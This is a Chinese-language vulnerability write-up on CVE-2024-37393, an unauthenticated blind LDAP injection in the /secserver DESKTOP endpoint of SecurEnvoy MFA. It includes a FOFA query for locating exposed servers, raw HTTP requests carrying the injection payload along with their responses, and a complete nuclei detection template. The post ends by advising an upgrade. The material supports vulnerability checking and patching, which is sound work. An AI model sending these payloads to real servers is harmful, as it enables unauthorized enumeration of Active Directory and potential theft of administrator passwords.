免责申明：本文内容为学习笔记分享，仅供技术学习参考，请勿用作违法用途，任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责，与本平台和发布者无关！！！

漏洞名称

SecurEnvoy身份验证-LDAP注入漏洞

漏洞影响

multi-factor_authentication_solutions 9.4.514之前版本

漏洞描述

SecurEnvoy MFA是一种广泛使用的软件解决方案，为第三方服务或设备(例如，思杰、FortiGate.)提供双因素身份验证(2 FA)支持。

SecurEnvoy充当RADIUS服务器，并依赖LDAP服务(例如微软Active Directory，OpenLDAP)来验证其用户。它使用目录的内部密码处理来检查第一因素(依赖于LDAP绑定方法)，并扩展目录使用以允许在授予用户访问权限之前检查第二因素("PIN代码")。

由于对用户提供的输入的验证不当，在9.4.514之前 SecurEnvoyMFA中存在多个LDAP注入漏洞。未经身份验证的远程攻击者可以通过对/secserver HTTP端点上暴露的 DESKTOP 服务进行盲目的LDAP注入攻击，从Active Directory中泄漏数据。包括ms-Mcs-AdmPwd，它为本地管理员密码解决方案(LAPS)功能提供了明文密码。

FOFA搜索语句

title="SecurEnvoy"

漏洞复现

当将第一行为FLAG=DESKTOP的POST数据发送到/secserverHTTP端点时，会触发实现“DESKTOP”协议的特定代码。

在这些参数中，USERID用于在发送特殊STATUS变量时执行用户身份验证。我们能够使用下面的协议消息来枚举绑定到SecurEnvoy(例如Active Directory)的目录中的现有用户。

此请求允许未经身份验证的用户检查SecurEnvoy目录中是否存在SomeUser。之所以能够做到这一点，是因为服务器响应会根据用户是否存在而有所不同，用户不存在时响应内容为

VERSION:9.3.502 RETURN:Error checking Group, ERR, DN is not set AUTH:DENIED

用户存在时响应内容为

VERSION:9.3.502RETURN:OKGETPASSCODE:False

POC数据包如下:

第一步：

POST /secserver/ HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Edg/94.0.992.47Connection: closeContent-Length: 98Accept-Encoding: gzip
FLAG=DESKTOP1STATUS:INITUSERID:bvsakzz7oistfjkq8drw)(sAMAccountName=*MEMBEROF:Domain Users

响应内容如下

HTTP/1.1 200 OKConnection: closeContent-Length: 79Content-Type: text/plainDate: Fri, 14 Jun 2024 01:39:34 GMTStrict-Transport-Security: max-age=16070400; includeSubDomainsX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-Xss-Protection: 1; mode=block
VERSION:9.3.502RETURN:Error checking Group, ERR, DN is not setAUTH:DENIED

第二步：

POST /secserver/ HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36Connection: closeContent-Length: 79Accept-Encoding: gzip
FLAG=DESKTOP1STATUS:INITUSERID:*)(sAMAccountName=*MEMBEROF:Domain Users

响应内容：

HTTP/1.1 200 OKConnection: closeContent-Length: 49Content-Type: text/plainDate: Fri, 14 Jun 2024 01:39:35 GMTStrict-Transport-Security: max-age=16070400; includeSubDomainsX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINX-Xss-Protection: 1; mode=block
VERSION:9.3.502RETURN:OKGETPASSCODE:False

nuclei poc

官方已发布POC，亲测有效，poc文件内容如下


id: CVE-2024-37393
info:
  name: SecurEnvoy Two Factor Authentication - LDAP Injection
  author: securityforeveryone
  severity: critical
  description: |
    Multiple LDAP injections vulnerabilities exist in SecurEnvoy MFA before 9.4.514 due to improper validation of user-supplied input. An unauthenticated remote attacker could exfiltrate data from Active Directory through blind LDAP injection attacks against the DESKTOP service exposed on the /secserver HTTP endpoint. This may include ms-Mcs-AdmPwd, which has a cleartext password for the Local Administrator Password Solution (LAPS) feature.
  reference:
    - https://www.tenable.com/cve/CVE-2024-37393
    - https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393
    - https://securenvoy.com
  metadata:
    verified: true
    shodan-query: title:"SecurEnvoy"
    fofa-query: title="SecurEnvoy"
  tags: cve,cve2024,securenvoy,ldap

variables:
  userid: "{{to_lower(rand_base(20))}}"

http:
  - raw:
      - |
        POST /secserver/? HTTP/2
        Host: {{Hostname}}

        FLAG=DESKTOP
        1
        STATUS:INIT
        USERID:{{userid}})(sAMAccountName=*
        MEMBEROF:Domain Users

      - |
        POST /secserver/? HTTP/2
        Host: {{Hostname}}

        FLAG=DESKTOP
        1
        STATUS:INIT
        USERID:*)(sAMAccountName=*
        MEMBEROF:Domain Users

    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Error checking Group')"
          - "status_code_1 == 200"
          - "contains(body_2, 'GETPASSCODE')"
          - "status_code_2 == 200"
        condition: and

修复建议

升级到最新版本。